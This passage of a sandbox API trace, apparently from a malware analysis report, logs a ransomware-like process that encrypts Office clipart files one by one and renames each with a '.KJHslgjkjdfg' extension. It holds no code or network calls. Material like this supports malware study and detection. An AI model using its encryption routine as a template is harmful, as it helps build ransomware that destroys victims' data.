(hKey=0x2c63a0) returned 1 [0180.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.541] SetEndOfFile (hFile=0x114) returned 1 [0180.544] GetProcessHeap () returned 0x2a0000 [0180.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.544] GetProcessHeap () returned 0x2a0000 [0180.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.kjhslgjkjdfg")) returned 1 [0180.545] CloseHandle (hObject=0x114) returned 1 [0180.546] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0180.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.547] GetProcessHeap () returned 0x2a0000 [0180.547] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.547] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.547] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.549] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.549] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.549] GetProcessHeap () returned 0x2a0000 [0180.549] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.550] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.550] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.550] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.550] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.550] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8ad6, lpOverlapped=0x0) returned 1 [0180.552] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ae0) returned 1 [0180.552] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.552] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8ae0, lpOverlapped=0x0) returned 1 [0180.552] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.552] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.553] SetEndOfFile (hFile=0x114) returned 1 [0180.556] GetProcessHeap () returned 0x2a0000 [0180.556] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.556] GetProcessHeap () returned 0x2a0000 [0180.556] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.kjhslgjkjdfg")) returned 1 [0180.557] CloseHandle (hObject=0x114) returned 1 [0180.557] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0180.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.559] GetProcessHeap () returned 0x2a0000 [0180.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.559] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.559] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.559] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0180.561] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.561] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.561] GetProcessHeap () returned 0x2a0000 [0180.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.561] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.561] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.561] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.561] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.561] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.561] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.562] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.562] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.562] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.562] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xe2e9, lpOverlapped=0x0) returned 1 [0180.563] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xe2f0) returned 1 [0180.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.564] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xe2f0, lpOverlapped=0x0) returned 1 [0180.564] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.564] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.564] SetEndOfFile (hFile=0x114) returned 1 [0180.568] GetProcessHeap () returned 0x2a0000 [0180.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.568] GetProcessHeap () returned 0x2a0000 [0180.568] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.kjhslgjkjdfg")) returned 1 [0180.569] CloseHandle (hObject=0x114) returned 1 [0180.569] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0180.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.570] GetProcessHeap () returned 0x2a0000 [0180.570] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.571] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.571] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.571] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.573] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.573] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.573] GetProcessHeap () returned 0x2a0000 [0180.573] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.573] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.573] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.573] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.573] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.574] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.574] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.574] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.574] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.574] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.574] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.574] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x65a6, lpOverlapped=0x0) returned 1 [0180.575] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x65b0, dwBufLen=0x65b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x65b0) returned 1 [0180.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.576] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x65b0, lpOverlapped=0x0) returned 1 [0180.576] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.576] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.576] SetEndOfFile (hFile=0x114) returned 1 [0180.579] GetProcessHeap () returned 0x2a0000 [0180.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.579] GetProcessHeap () returned 0x2a0000 [0180.579] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.kjhslgjkjdfg")) returned 1 [0180.580] CloseHandle (hObject=0x114) returned 1 [0180.580] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0180.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.583] GetProcessHeap () returned 0x2a0000 [0180.583] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.583] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.583] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.583] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.603] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.603] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.603] GetProcessHeap () returned 0x2a0000 [0180.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.604] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.604] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.604] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.604] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.604] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.604] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.604] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.604] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.604] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.605] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x918c, lpOverlapped=0x0) returned 1 [0180.610] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9190, dwBufLen=0x9190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9190) returned 1 [0180.610] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.611] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9190, lpOverlapped=0x0) returned 1 [0180.611] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.611] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.611] SetEndOfFile (hFile=0x114) returned 1 [0180.614] GetProcessHeap () returned 0x2a0000 [0180.614] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.614] GetProcessHeap () returned 0x2a0000 [0180.614] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.kjhslgjkjdfg")) returned 1 [0180.616] CloseHandle (hObject=0x114) returned 1 [0180.616] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, 